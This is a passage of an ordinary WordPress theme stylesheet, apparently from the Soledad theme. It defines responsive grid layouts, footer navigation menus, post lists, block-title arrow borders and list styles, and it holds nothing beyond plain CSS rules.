.penci-bgstyle-18 .penci-fixh .bgitem-3 {
	height: calc(var(--bgh) * .6)
}
.penci-bgstyle-18 .penci-fixh .bgitem-0,
.penci-bgstyle-18 .penci-fixh .bgitem-2 {
	margin-right: 0
}
.penci-bgstyle-19 .penci-fixh,
.penci-bgstyle-20 .penci-fixh,
.penci-bgstyle-21 .penci-fixh,
.penci-bgstyle-22 .penci-fixh {
	--bgh: 250px;
	margin-left: calc(var(--pcgap) * -1 / 2);
	margin-right: calc(var(--pcgap) * -1 / 2)
}
.penci-bgstyle-19 .penci-fixh .penci-bgitem,
.penci-bgstyle-20 .penci-fixh .penci-bgitem {
	width: calc(33.3333% - var(--pcgap));
	height: var(--bgh);
	margin-left: calc(var(--pcgap)/ 2);
	margin-right: calc(var(--pcgap)/ 2)
}
.penci-bgstyle-19 .penci-fixh .bgitem-3,
.penci-bgstyle-20 .penci-fixh .bgitem-1 {
	height: calc(2 * var(--bgh) + var(--pcgap));
	float: right
}
.penci-bgstyle-19 .penci-fixh .bgitem-0,
.penci-bgstyle-20 .penci-fixh .bgitem-6 {
	width: calc(66.6667% - var(--pcgap))
}
.penci-bgstyle-20 .penci-fixh .bgitem-1 {
	float: left
}
.penci-bgstyle-21 .penci-fixh .penci-bgitem,
.penci-bgstyle-22 .penci-fixh .penci-bgitem {
	float: left;
	width: calc(25% - var(--pcgap));
	height: calc(var(--bgh) * 3 / 4);
	margin-left: calc(var(--pcgap)/ 2);
	margin-right: calc(var(--pcgap)/ 2)
}
.penci-bgstyle-21 .penci-fixh .pcbg-big-item,
.penci-bgstyle-22 .penci-fixh .pcbg-big-item {
	width: calc(33.3333% - var(--pcgap));
	height: var(--bgh)
}
@media screen and (max-width:960px) {
	.penci-bgstyle-3 .penci-fixh {
		--bgh: 460px
	}
	.penci-bgstyle-3 .penci-fixh .penci-bgitem {
		width: calc(50% - var(--pcgap)/ 2);
		margin-right: var(--pcgap)
	}
	.penci-bgstyle-3 .penci-fixh .bgitem-0 {
		margin-right: 0
	}
	.penci-bgstyle-3 .penci-fixh .bgitem-1 {
		width: 100%;
		margin-right: 0
	}
	.penci-bgstyle-4 .penci-fixh .penci-bgitem {
		width: calc(50% - var(--pcgap)/ 2)
	}
	.penci-bgstyle-4 .penci-fixh .bgitem-1 {
		width: 100%
	}
	.penci-bgstyle-5 .penci-fixh {
		--bgh: 500px
	}
	.penci-bgstyle-5 .penci-fixh .penci-bgitem {
		width: calc(50% - var(--pcgap)/ 2);
		height: calc(var(--bgh) * .8)
	}
	.penci-bgstyle-5 .penci-fixh .bgitem-1 {
		width: 100%;
		height: var(--bgh)
	}
	.penci-bgstyle-6 .penci-fixh {
		--bgh: 500px;
		-webkit-flex-flow: row wrap;
		-ms-flex-flow: row wrap;
		flex-flow: row wrap;
		max-height: none
	}
	.penci-bgstyle-6 .penci-fixh .penci-bgitem {
		width: calc(50% - var(--pcgap)/ 2);
		height: calc(var(--bgh)/ 2)
	}
	.penci-bgstyle-6 .penci-fixh .bgitem-1 {
		width: 100%;
		height: var(--bgh);
		margin-right: 0
	}
	.penci-bgstyle-6 .penci-fixh .bgitem-4 {
		margin-right: var(--pcgap)
	}
	.penci-bgstyle-6 .penci-fixh .bgitem-0,
	.penci-bgstyle-6 .penci-fixh .bgitem-3 {
		margin-right: 0
	}
	.penci-bgstyle-7 .penci-fixh .penci-bgitem {
		height: calc(var(--bgh)/ 2);
		width: calc(50% - var(--pcgap)/ 2);
		margin-right: 0
	}
	.penci-bgstyle-7 .penci-fixh .bgitem-1 {
		width: 100%;
		height: var(--bgh)
	}
	.penci-bgstyle-7 .penci-fixh .bgitem-2 {
		width: 100%
	}
	.penci-bgstyle-7 .penci-fixh .bgitem-3 {
		margin-right: var(--pcgap)
	}
	.penci-bgstyle-8 .penci-fixh {
		--bgh: 460px
	}
	.penci-bgstyle-8 .penci-fixh .penci-bgitem {
		width: 100%;
		height: calc(var(--bgh)/ 2)
	}
	.penci-bgstyle-8 .penci-fixh .bgitem-1 {
		width: 100%;
		margin-right: 0;
		height: var(--bgh)
	}
	.penci-bgstyle-10 .penci-fixh,
	.penci-bgstyle-9 .penci-fixh {
		--bgh: 460px
	}
	.penci-bgstyle-10 .penci-fixh .penci-bgitem,
	.penci-bgstyle-9 .penci-fixh .penci-bgitem {
		width: 100%;
		height: var(--bgh);
		margin-right: 0
	}
	.penci-bgstyle-10 .penci-fixh .bgitem-0,
	.penci-bgstyle-10 .penci-fixh .bgitem-4,
	.penci-bgstyle-9 .penci-fixh .bgitem-1,
	.penci-bgstyle-9 .penci-fixh .bgitem-2 {
		width: calc(50% - var(--pcgap)/ 2);
		height: calc(var(--bgh)/ 2)
	}
	.penci-bgstyle-10 .penci-fixh .bgitem-4,
	.penci-bgstyle-9 .penci-fixh .bgitem-1 {
		margin-right: var(--pcgap)
	}
	.penci-bgstyle-11 .penci-fixh,
	.penci-bgstyle-14 .penci-fixh,
	.penci-bgstyle-15 .penci-fixh {
		--bgh: 250px
	}
	.penci-bgstyle-11 .penci-fixh .penci-bgitem,
	.penci-bgstyle-14 .penci-fixh .penci-bgitem,
	.penci-bgstyle-15 .penci-fixh .penci-bgitem {
		width: calc(50% - var(--pcgap)/ 2);
		height: var(--bgh);
		margin-right: var(--pcgap)
	}
	.penci-bgstyle-11 .penci-fixh .bgitem-0,
	.penci-bgstyle-11 .penci-fixh .bgitem-2,
	.penci-bgstyle-14 .penci-fixh .bgitem-0,
	.penci-bgstyle-14 .penci-fixh .bgitem-2,
	.penci-bgstyle-15 .penci-fixh .bgitem-0,
	.penci-bgstyle-15 .penci-fixh .bgitem-2,
	.penci-bgstyle-15 .penci-fixh .bgitem-4 {
		margin-right: 0
	}
	.penci-bgstyle-12 .penci-fixh {
		--bgh: 460px
	}
	.penci-bgstyle-12 .penci-fixh .penci-bgitem {
		width: calc(50% - var(--pcgap)/ 2);
		margin-right: 0
	}
	.penci-bgstyle-12 .penci-fixh .bgitem-1 {
		width: 100%
	}
	.penci-bgstyle-12 .penci-fixh .bgitem-2 {
		margin-right: var(--pcgap)
	}
	.penci-bgstyle-12 .penci-fixh .bgitem-0,
	.penci-bgstyle-12 .penci-fixh .bgitem-3 {
		margin-right: 0
	}
	.penci-bgstyle-13 .penci-fixh {
		--bgh: 460px
	}
	.penci-bgstyle-16 .penci-fixh {
		--bgh: 200px
	}
	.penci-bgstyle-17 .penci-fixh {
		--bgh: 500px;
		display: flex;
		-webkit-flex-flow: row wrap;
		-ms-flex-flow: row wrap;
		flex-flow: row wrap;
		margin-right: 0
	}
	.penci-bgstyle-17 .penci-fixh .penci-bgitem {
		width: calc(50% - var(--pcgap)/ 2);
		height: calc(var(--bgh) * .8)
	}
	.penci-bgstyle-17 .penci-fixh .bgitem-1 {
		width: 100%;
		height: var(--bgh);
		margin-right: 0;
		order: 1
	}
	.penci-bgstyle-18 .penci-fixh .penci-bgitem {
		width: calc(45% - var(--pcgap)/ 2)
	}
	.penci-bgstyle-18 .penci-fixh .bgitem-0,
	.penci-bgstyle-18 .penci-fixh .bgitem-1 {
		width: calc(55% - var(--pcgap)/ 2)
	}
	.penci-bgstyle-18 .penci-fixh .bgitem-0,
	.penci-bgstyle-18 .penci-fixh .bgitem-3 {
		height: calc(var(--bgh) * .8)
	}
	.penci-bgstyle-18 .penci-fixh {
		--bgh: 300px
	}
	.penci-bgstyle-19 .penci-fixh .bgitem-0,
	.penci-bgstyle-19 .penci-fixh .penci-bgitem,
	.penci-bgstyle-20 .penci-fixh .bgitem-6,
	.penci-bgstyle-20 .penci-fixh .penci-bgitem {
		width: calc(50% - var(--pcgap))
	}
	.penci-bgstyle-19 .penci-fixh .bgitem-3,
	.penci-bgstyle-20 .penci-fixh .bgitem-1 {
		width: calc(100% + var(--pcgap))
	}
	.penci-bgstyle-21 .penci-fixh .penci-bgitem,
	.penci-bgstyle-22 .penci-fixh .penci-bgitem {
		width: calc(50% - var(--pcgap));
		height: var(--bgh)
	}
	.penci-bgstyle-21 .penci-fixh .bgitem-1,
	.penci-bgstyle-22 .penci-fixh .bgitem-1 {
		height: calc(var(--bgh) * 2);
		width: calc(100% + var(--pcgap))
	}
}
@media screen and (max-width:767px) {
	.penci-bgstyle-3 .penci-fixh,
	.penci-bgstyle-8 .penci-fixh {
		--bgh: 320px
	}
	.penci-bgstyle-4 .penci-fixh,
	.penci-bgstyle-6 .penci-fixh {
		--bgh: 380px
	}
	.penci-bgstyle-7 .penci-fixh {
		--bgh: 400px
	}
	.penci-bgstyle-11 .penci-fixh,
	.penci-bgstyle-14 .penci-fixh,
	.penci-bgstyle-15 .penci-fixh,
	.penci-bgstyle-16 .penci-fixh,
	.penci-bgstyle-19 .penci-fixh,
	.penci-bgstyle-20 .penci-fixh,
	.penci-bgstyle-21 .penci-fixh,
	.penci-bgstyle-22 .penci-fixh {
		--bgh: 190px
	}
	.penci-bgstyle-10 .penci-fixh,
	.penci-bgstyle-12 .penci-fixh,
	.penci-bgstyle-13 .penci-fixh,
	.penci-bgstyle-17 .penci-fixh,
	.penci-bgstyle-5 .penci-fixh,
	.penci-bgstyle-9 .penci-fixh {
		--bgh: 300px
	}
	.penci-bgstyle-10 .penci-fixh .bgitem-0,
	.penci-bgstyle-10 .penci-fixh .bgitem-4,
	.penci-bgstyle-9 .penci-fixh .bgitem-1,
	.penci-bgstyle-9 .penci-fixh .bgitem-2 {
		width: 100%;
		height: var(--bgh);
		margin-right: 0
	}
	.penci-bgstyle-18 .penci-fixh {
		--bgh: 240px
	}
	.penci-bgrid-monecol .penci-fixh .penci-bgitem {
		margin-right: 0 !important;
		margin-left: 0 !important;
		width: 100% !important
	}
	.penci-bgrid-monecol .penci-fixh {
		margin-left: 0 !important;
		margin-right: 0 !important
	}
	.penci-bgrid-monecol .penci-bgstyle-11 .penci-fixh .penci-bgitem,
	.penci-bgrid-monecol .penci-bgstyle-13 .penci-fixh .penci-bgitem,
	.penci-bgrid-monecol .penci-bgstyle-14 .penci-fixh .penci-bgitem,
	.penci-bgrid-monecol .penci-bgstyle-15 .penci-fixh .penci-bgitem,
	.penci-bgrid-monecol .penci-bgstyle-3 .penci-fixh .penci-bgitem,
	.penci-bgrid-monecol .penci-bgstyle-4 .penci-fixh .penci-bgitem,
	.penci-bgrid-monecol .penci-bgstyle-6 .penci-fixh .penci-bgitem {
		height: var(--bgh)
	}
	.penci-bgrid-msameh .penci-fixh .penci-bgitem {
		height: var(--bgh) !important
	}
	.pcbg-content-inner {
		padding: 15px
	}
}
.pcbg-verbd .penci-dflex .penci-bgitem,
.pcsl-verbd .pcsl-item {
	border-right: 1px solid var(--pcborder-cl)
}
.pcbg-verbd .penci-dflex .penci-bgitem:last-child,
.pcsl-verbd:not(.pcsl-crs) .pcsl-item:last-child {
	border-right: none !important
}
@media screen and (max-width:767px) {
	.pcbg-verbd .penci-dflex .penci-bgitem,
	.pcsl-verbd .pcsl-item {
		border-right: none !important
	}
}
@media screen and (max-width:1169px) {
	.pcsl-col-5 .pcsl-item,
	.pcsl-col-6 .pcsl-item,
	.penci-grid-col-5 .penci-dflex .penci-bgitem,
	.penci-grid-col-6 .penci-dflex .penci-bgitem {
		flex: 0 0 33.33333%
	}
	.penci-grid-col-5 .penci-bgstyle-2 .item-masonry,
	.penci-grid-col-6 .penci-bgstyle-2 .item-masonry {
		width: 33.33333%
	}
}
@media screen and (max-width:960px) {
	.pcsl-col-4 .pcsl-item,
	.penci-grid-col-4 .penci-bgitem {
		flex: 0 0 50%
	}
	.penci-grid-col-4 .penci-bgstyle-2 .item-masonry {
		width: 50%
	}
}
@media screen and (max-width:1169px) {
	.pcsl-tabcol-1 .pcsl-item,
	.penci-grid-tcol-1 .penci-dflex .penci-bgitem {
		flex: 0 0 100%
	}
	.pcsl-tabcol-2 .pcsl-item,
	.penci-grid-tcol-2 .penci-dflex .penci-bgitem {
		flex: 0 0 50%
	}
	.pcsl-tabcol-3 .pcsl-item,
	.penci-grid-tcol-3 .penci-dflex .penci-bgitem {
		flex: 0 0 33.33333%
	}
	.pcsl-tabcol-4 .pcsl-item,
	.penci-grid-tcol-4 .penci-dflex .penci-bgitem {
		flex: 0 0 25%
	}
	.penci-grid-tcol-1 .penci-bgstyle-2 .item-masonry {
		width: 100%
	}
	.penci-grid-tcol-2 .penci-bgstyle-2 .item-masonry {
		width: 50%
	}
	.penci-grid-tcol-3 .penci-bgstyle-2 .item-masonry {
		width: 33.33333%
	}
	.penci-grid-tcol-4 .penci-bgstyle-2 .item-masonry {
		width: 25%
	}
}
@media screen and (max-width:767px) {
	.pcsl-col-2 .pcsl-item,
	.pcsl-col-3 .pcsl-item,
	.pcsl-col-4 .pcsl-item,
	.pcsl-col-5 .pcsl-item,
	.pcsl-col-6 .pcsl-item,
	.pcsl-mobcol-1 .pcsl-item,
	.penci-dflex .penci-bgitem,
	.penci-grid-col-2 .penci-dflex .penci-bgitem,
	.penci-grid-col-3 .penci-dflex .penci-bgitem,
	.penci-grid-col-4 .penci-dflex .penci-bgitem,
	.penci-grid-col-5 .penci-dflex .penci-bgitem,
	.penci-grid-col-6 .penci-dflex .penci-bgitem,
	.penci-grid-mcol-1 .penci-dflex .penci-bgitem {
		flex: 0 0 100%
	}
	.pcsl-mobcol-2 .pcsl-item,
	.penci-grid-mcol-2 .penci-dflex .penci-bgitem {
		flex: 0 0 50%
	}
	.pcsl-mobcol-3 .pcsl-item,
	.penci-grid-mcol-3 .penci-dflex .penci-bgitem {
		flex: 0 0 33.33333%
	}
	.penci-grid-col-2 .penci-bgstyle-2 .item-masonry,
	.penci-grid-col-3 .penci-bgstyle-2 .item-masonry,
	.penci-grid-col-4 .penci-bgstyle-2 .item-masonry,
	.penci-grid-col-5 .penci-bgstyle-2 .item-masonry,
	.penci-grid-col-6 .penci-bgstyle-2 .item-masonry,
	.penci-grid-mcol-1 .penci-bgstyle-2 .item-masonry {
		width: 100%
	}
	.penci-grid-mcol-2 .penci-bgstyle-2 .item-masonry {
		width: 50%
	}
	.penci-grid-mcol-3 .penci-bgstyle-2 .item-masonry {
		width: 33.33333%
	}
}
.pcfooter-navmenu {
	--pcfnmn-space: 30px;
	--pcfnmn-spea-height: 12px;
	--pcfnmn-cirspea-h: 4px
}
.pcfooter-navmenu {
	display: block;
	clear: both
}
.pcfooter-navmenu .pcfoot-navmenu {
	padding: 0;
	list-style: none;
	margin: 0;
	vertical-align: top;
	line-height: 1.6
}
.pcfoot-navmenu:after,
.pcfoot-navmenu:before {
	content: "";
	display: table;
	clear: both
}
.pcfooter-navmenu .pcfoot-navmenu .sub-menu,
.pcfooter-navmenu .pcfoot-navmenu>li ul {
	display: none !important
}
.pcfooter-navmenu .pcfoot-navmenu>li {
	display: inline-block;
	vertical-align: top;
	margin-right: var(--pcfnmn-space);
	margin-bottom: 0;
	line-height: unset;
	position: relative
}
.pcfooter-navmenu .pcfoot-navmenu>li:last-child {
	margin-right: 0
}
.pcfooter-navmenu .pcfoot-navmenu li a {
	color: var(--pctext-cl);
	text-decoration: none;
	transition: all .3s;
	display: block;
	line-height: 1.5
}
.pcfooter-navmenu.pcfnm-bgitems .pcfoot-navmenu li a {
	background: #e5e5e5;
	padding: 5px 15px;
	line-height: 1.3
}
.pcfooter-navmenu.pcfnm-bditems .pcfoot-navmenu li a {
	padding: 5px 15px;
	line-height: 1.3;
	border: 1px solid var(--pcborder-cl)
}
.pcfooter-navmenu .pcfoot-navmenu li a:hover,
.pcfooter-navmenu .pcfoot-navmenu li.current-menu-item a {
	color: var(--pcaccent-cl)
}
.pcfooter-navmenu.pcfnm-bgitems .pcfoot-navmenu li a:hover {
	background: #ddd
}
.pcfooter-navmenu .pcfoot-navmenu>li:after {
	content: "";
	display: block;
	width: 0;
	border: 0 solid var(--pcborder-cl);
	border-left-width: 1px;
	height: var(--pcfnmn-spea-height);
	position: absolute;
	right: calc(var(--pcfnmn-space) * -1 / 2 - 2px);
	top: 50%;
	margin-top: calc(var(--pcfnmn-spea-height) * -1 / 2)
}
.pcfnm-sepa-slash .pcfoot-navmenu>li:after {
	transform: skewX(-20deg);
	-webkit-transform: skewX(-20deg);
	right: calc(var(--pcfnmn-space) * -1 / 2 - 3px)
}
.pcfnm-sepa-dslash .pcfoot-navmenu>li:after {
	transform: skewX(-20deg);
	-webkit-transform: skewX(-20deg);
	border-right-width: 1px;
	width: 4px;
	right: calc(var(--pcfnmn-space) * -1 / 2 - 5px)
}
.pcfnm-sepa-circle .pcfoot-navmenu>li:after {
	width: var(--pcfnmn-cirspea-h);
	height: var(--pcfnmn-cirspea-h);
	border: none;
	border-radius: 50%;
	background: var(--pcborder-cl);
	transform: none;
	margin-top: calc(var(--pcfnmn-cirspea-h) * -1 / 2);
	right: calc(var(--pcfnmn-space) * -1 / 2 - var(--pcfnmn-cirspea-h)/ 2 - 2px)
}
.pcfooter-navmenu.pcfnm-sepa-none .pcfoot-navmenu>li:after,
body.rtl .pcfooter-navmenu .pcfoot-navmenu>li:first-child:after,
body:not(.rtl) .pcfooter-navmenu .pcfoot-navmenu>li:last-child:after {
	content: none;
	display: none
}
.penci-smalllist {
	display: block;
	width: 100%;
	clear: both;
	--pcsl-hgap: 20px;
	--pcsl-bgap: 20px;
	--pcsl-between: 20px;
	--pcsl-dwidth: 15%;
	overflow: hidden
}
.pcsl-inner,
.swiper.pcsl-inner {
	margin-left: calc(var(--pcsl-hgap) * -1 / 2);
	margin-right: calc(var(--pcsl-hgap) * -1 / 2);
	width: calc(100% + var(--pcsl-hgap));
	display: flex;
	display: -webkit-flex;
	display: -ms-flexbox;
	-webkit-flex-flow: row wrap;
	-ms-flex-flow: row wrap;
	flex-flow: row wrap;
	align-items: flex-start
}
.pcsl-inner .pcsl-item {
	padding: 0 calc(var(--pcsl-hgap)/ 2);
	width: 100%;
	margin-bottom: var(--pcsl-bgap)
}
.pcsl-inner .pcsl-iteminer {
	display: flex;
	display: -webkit-flex;
	display: -ms-flexbox;
	-webkit-flex-flow: row wrap;
	-ms-flex-flow: row wrap;
	flex-flow: row wrap;
	align-items: flex-start
}
.pcsl-inner.pcsl-imgpos-top .pcsl-iteminer {
	flex-direction: column
}
.sl-date {
	color: var(--pcmeta-cl)
}
.pcsl-crs.pcsl-inner .pcsl-item {
	margin-bottom: 0 !important
}
.pcsl-inner .pcsl-thumb {
	width: 32%;
	order: 2;
	transition: opacity .3s;
	position: relative
}
.pcsl-inner .pcsl-thumb:hover {
	opacity: .85
}
.pcsl-inner .pcsl-content {
	width: 68%;
	padding: 0 var(--pcsl-between);
	order: 3
}
.pcsl-inner.pcsl-hdate .pcsl-date {
	width: var(--pcsl-dwidth);
	order: 1;
	padding: 0 var(--pcsl-between)
}
.pcsl-inner.pcsl-hdate .pcsl-date.pcsl-dpos-left {
	padding-left: 0;
	order: 0
}
.pcsl-inner.pcsl-hdate .pcsl-date.pcsl-dpos-right {
	padding-right: 0;
	order: 5
}
.pcsl-inner.pcsl-hdate .pcsl-thumb {
	width: 20%
}
.pcsl-inner.pcsl-hdate .pcsl-content {
	width: 65%;
	width: calc(80% - var(--pcsl-dwidth))
}
.pcsl-inner .pcsl-content ins {
	text-decoration: none
}
.pcsl-inner.pcsl-imgpos-top .pcsl-thumb {
	margin-bottom: var(--pcsl-between);
	width: 100%
}
.pcsl-imgpos-left .pcsl-content {
	padding-right: 0
}
.pcsl-imgpos-right .pcsl-content {
	padding-left: 0;
	order: 1
}
.pcsl-imgpos-top .pcsl-content,
.pcsl-inner .pcsl-nothumb .pcsl-content {
	padding-left: 0 !important;
	padding-right: 0 !important;
	width: 100% !important
}
.pcsl-inner .pcsl-content .pcsl-title {
	font-size: 16px;
	color: var(--pcheading-cl);
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	line-height: 1.4;
	display: block
}
.pcsl-inner .pcsl-content .pcsl-title a {
	font-size: inherit;
	color: inherit;
	font-family: inherit;
	font-weight: inherit;
	text-decoration: none
}
.pcsl-inner .pcsl-content .pcsl-title a:hover {
	color: var(--pcaccent-cl)
}
.pcsl-inner .pcsl-content .cat {
	line-height: 1.3;
	margin-bottom: 4px
}
.pcsl-inner .pcsl-content .cat .penci-product-cats,
.pcsl-inner .pcsl-content .cat .penci-product-cats a {
	text-decoration: none;
	color: var(--pcaccent-cl)
}
.pcsl-inner .grid-post-box-meta,
.post-entry .pcsl-inner .grid-post-box-meta {
	margin-top: 8px;
	line-height: 1.3;
	font-size: 14px
}
.pcsl-nocrop .penci-image-holder:before {
	padding-top: 0;
	content: none
}
.pcsl-flex-full {
	width: 100%;
	order: 10
}
.pcsl-pexcerpt {
	margin-top: 15px
}
.pcsl-inner .pcsl-pexcerpt p {
	line-height: 1.5
}
.pcsl-inner .pcsl-pexcerpt p:last-child {
	margin-bottom: 0
}
.pcsl-readmore {
	margin-top: 15px;
	display: block
}
.pcsl-readmore .pcsl-readmorebtn.pcsl-btns-bordered {
	border: 1px solid var(--pcborder-cl);
	background: 0 0
}
.pcsl-readmore .pcsl-readmorebtn.pcsl-btns-underline {
	border: 0 solid var(--pcborder-cl);
	border-bottom-width: 2px;
	background: 0 0 !important;
	padding: 0 0 3px 0 !important
}
.pcsl-readmore .pcsl-readmorebtn.pcsl-btns-text {
	padding: 0 !important;
	border: none !important;
	background: 0 0 !important
}
@media screen and (min-width:1025px) {
	.pcsl-grid.pcsl-col-2 .pcsl-item:nth-last-child(2),
	.pcsl-grid.pcsl-col-3 .pcsl-item:nth-last-child(2),
	.pcsl-grid.pcsl-col-3 .pcsl-item:nth-last-child(3),
	.pcsl-grid.pcsl-col-4 .pcsl-item:nth-last-child(2),
	.pcsl-grid.pcsl-col-4 .pcsl-item:nth-last-child(3),
	.pcsl-grid.pcsl-col-4 .pcsl-item:nth-last-child(4),
	.pcsl-grid.pcsl-col-5 .pcsl-item:nth-last-child(2),
	.pcsl-grid.pcsl-col-5 .pcsl-item:nth-last-child(3),
	.pcsl-grid.pcsl-col-5 .pcsl-item:nth-last-child(4),
	.pcsl-grid.pcsl-col-5 .pcsl-item:nth-last-child(5),
	.pcsl-grid.pcsl-col-6 .pcsl-item:nth-last-child(2),
	.pcsl-grid.pcsl-col-6 .pcsl-item:nth-last-child(3),
	.pcsl-grid.pcsl-col-6 .pcsl-item:nth-last-child(4),
	.pcsl-grid.pcsl-col-6 .pcsl-item:nth-last-child(5),
	.pcsl-grid.pcsl-col-6 .pcsl-item:nth-last-child(6) {
		margin-bottom: 0 !important
	}
}
@media screen and (max-width:1024px) and (min-width:768px) {
	.pcsl-grid.pcsl-tabcol-2 .pcsl-item:nth-last-child(2),
	.pcsl-grid.pcsl-tabcol-3 .pcsl-item:nth-last-child(2),
	.pcsl-grid.pcsl-tabcol-3 .pcsl-item:nth-last-child(3),
	.pcsl-grid.pcsl-tabcol-4 .pcsl-item:nth-last-child(2),
	.pcsl-grid.pcsl-tabcol-4 .pcsl-item:nth-last-child(3),
	.pcsl-grid.pcsl-tabcol-4 .pcsl-item:nth-last-child(4) {
		margin-bottom: 0 !important
	}
}
@media screen and (max-width:767px) {
	.pcsl-grid.pcsl-mobcol-2 .pcsl-item:nth-last-child(2),
	.pcsl-grid.pcsl-mobcol-3 .pcsl-item:nth-last-child(2),
	.pcsl-grid.pcsl-mobcol-3 .pcsl-item:nth-last-child(3) {
		margin-bottom: 0 !important
	}
	.pcsl-inner.pcsl-cat-mhide .pcsl-content .cat,
	.pcsl-inner.pcsl-excerpt-mhide .pcsl-pexcerpt,
	.pcsl-inner.pcsl-meta-mhide .pcsl-meta,
	.pcsl-inner.pcsl-rm-mhide .pcsl-readmore {
		display: none
	}
	.pcsl-inner.pcsl-imgtopmobile .pcsl-thumb {
		margin-bottom: var(--pcsl-between);
		width: 100%;
		order: 1
	}
	.pcsl-inner.pcsl-hdate .pcsl-content,
	.pcsl-inner.pcsl-hdate .pcsl-date,
	.pcsl-inner.pcsl-hdate .pcsl-thumb,
	.pcsl-inner.pcsl-imgtopmobile .pcsl-content {
		padding-left: 0 !important;
		padding-right: 0 !important;
		width: 100% !important
	}
	.pcsl-inner.pcsl-hdate .pcsl-thumb {
		order: 1 !important;
		margin-bottom: 15px
	}
	.pcsl-inner.pcsl-hdate .pcsl-date {
		order: 2 !important;
		margin-bottom: 8px
	}
	.pcsl-inner.pcsl-hdate .pcsl-content {
		order: 3 !important
	}
}
.pcsl-grid .pcsl-item:last-child,
.pcsl-nlist .pcsl-item:last-child {
	margin-bottom: 0 !important
}
.penci-homepage-title {
	position: relative;
	margin-bottom: 30px;
	text-align: center;
	clear: both;
	background: 0 0;
	margin-top: 5px
}
.penci-border-arrow {
	position: relative;
	line-height: 1.3;
	margin-left: 5px;
	margin-right: 5px;
	margin-top: 5px
}
.post-entry .penci-border-arrow a,
.post-entry .penci-border-arrow a:hover {
	text-decoration: none
}
.penci-border-arrow .inner-arrow {
	border: 1px solid #313131;
	background: #fff;
	position: relative;
	display: block;
	text-transform: uppercase;
	padding: 8px 12px 7px;
	z-index: 3;
	font-size: 14px
}
.penci-border-arrow .inner-arrow a {
	text-decoration: none !important;
	font-size: inherit;
	font-weight: inherit;
	color: inherit !important
}
.penci-border-arrow .inner-arrow .pcbh-extrabtn {
	font-size: 70%;
	display: inline-block
}
.penci-border-arrow .inner-arrow .pcbh-btns-underline {
	position: relative;
	padding-bottom: 3px;
	line-height: 1;
	transform: translateY(-2px);
	transition: all .3s
}
.penci-border-arrow .inner-arrow .pcbh-btns-underline:after {
	content: "";
	width: 100%;
	height: 1px;
	position: absolute;
	bottom: 0;
	left: 0;
	background: red;
	transition: all .3s
}
@media only screen and (max-width:479px) {
	.penci-border-arrow .inner-arrow .pcbh-extrabtn.pcbtn-etrhm {
		display: none
	}
}
.penci-border-arrow .inner-arrow .pcbh-extrabtn.pcbh-btnp-left {
	margin-right: 10px
}
.penci-border-arrow .inner-arrow .pcbh-extrabtn.pcbh-btnp-right {
	margin-left: 10px
}
.penci-border-arrow .inner-arrow .pcbh-extrabtn.pcbh-btni-right i {
	margin-left: 5px;
	margin-right: 0
}
.penci-border-arrow .inner-arrow .pcbh-extrabtn.pcbh-btni-left i {
	margin-right: 5px;
	margin-left: 0
}
.penci-homepage-title {
	--extrabtn: 0;
}
.penci-border-arrow.block-tbtnpos-left .inner-arrow .pcbh-extrabtn,
.penci-border-arrow.block-tbtnpos-right .inner-arrow .pcbh-extrabtn {
	position: absolute;
	right: 0;
	top: 50%;
	transform: translateY(-50%);
	margin-left: 0;
	margin-right: 0;
}
.penci-border-arrow.block-tbtnpos-left .inner-arrow .pcbh-extrabtn {
	left: 0;
	right: auto;
}
.pcalign-right.block-tbtnpos-left .pcnav-lgroup {
	left: calc( var(--extrabtn) + 15px );
}
.block-tbtnpos-right .pcnav-lgroup,
.pcalign-right.block-tbtnpos-right .pcnav-lgroup {
	right: calc( var(--extrabtn) + 15px );
}
.penci-border-arrow:after,
.penci-border-arrow:before {
	content: "";
	position: absolute
}
.penci-border-arrow:before {
	width: 0;
	height: 0;
	border-style: solid;
	border-color: transparent;
	bottom: -5px;
	left: 50%;
	border-top-color: #313131;
	border-width: 6px;
	border-bottom: 0;
	margin-left: -6px;
	z-index: 5
}
.penci-border-arrow:after {
	border: 1px solid #313131;
	left: -5px;
	right: -5px;
	bottom: 3px;
	display: block;
	z-index: 1;
	height: 100%
}
.penci-homepage-title h3 {
	font-size: 14px;
	color: #313131;
	text-transform: uppercase;
	position: relative;
	z-index: 1
}
.penci-simplelist,
.penci-simplelist li,
.post-entry ul.penci-simplelist {
	margin: 0;
	padding: 0;
	list-style: none
}
.penci-simplelist li,
.post-entry ul.penci-simplelist li {
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-wrap: wrap;
	width: 100%;
	margin-bottom: 10px;
	line-height: 1.4
}
.penci-simplelist>li:last-child,
.post-entry ul.penci-simplelist>li:last-child {
	margin-bottom: 0 !important
}
.penci-simplelist li .list-icon {
	display: inline-block;
	margin-right: 5px;
	transition: all .3s;
	order: 0
}
.penci-simplelist li .list-icon svg {
	width: 15px;
	height: auto;
	vertical-align: middle
}
.penci-iconp-right li .list-icon {
	order: 2;
	margin-right: 0;
	margin-left: 5px
}
.penci-simplelist.penci-justify-center li {
	justify-content: center
}
.penci-simplelist.penci-justify-right li {
	justify-content: flex-end
}
.penci-simplelist li a {
	color: inherit;
	font-family: inherit;
	font-size: inherit
}
.penci-simplelist li a:hover {
	text-transform: none
}
.penci-simplelist-shape-icon li .list-icon {
	line-height: 25px;
	display: inline-flex;
	align-items: center;
	justify-content: center;
	min-width: 25px;
	min-height: 25px;
	text-align: center;
	padding: 4px
}
.list-icon img {
	width: auto;
	max-height: 50px
}
.penci-simplelist-style-rounded .list-icon {
	border-radius: 50%
}
.penci-simplelist.penci-simplelist-type-ordered {
	counter-reset: section
}
.penci-simplelist.penci-simplelist-type-ordered li:before {
	content: counter(section) ". ";
	counter-increment: section;
	background-color: transparent
}
.penci-simplelist.penci-simplelist-type-unordered li:before {
	display: inline-block;
	content: "\25B8";
	background-color: transparent;
	line-height: 1;
	margin-right: 5px;
	transition: color .3s
}
.penci-simplelist.penci-iconp-right.penci-simplelist-type-unordered li:before {
	order: 3;
	margin-left: 5px;
	margin-right: 0
}
.mega-menu-list,
.mega-menu-list ul,
.post-entry ul.mega-menu-list,
.post-entry ul.mega-menu-list ul {
	margin: 0;
	padding: 0;
	list-style: none
}
.mega-menu-list {
	--pcmega-colspace: 20px
}
.mega-menu-list ul,
.post-entry ul.mega-menu-list ul {
	margin-top: 15px
}
.post-entry ul.mega-menu-list a:hover,
ul.mega-menu-list a {
	text-decoration: none
}
.post-entry ul.mega-menu-list a:hover,
ul.mega-menu-list a:hover {
	color: var(--pcaccent-cl)
}
.post-entry ul.mega-menu-list li,
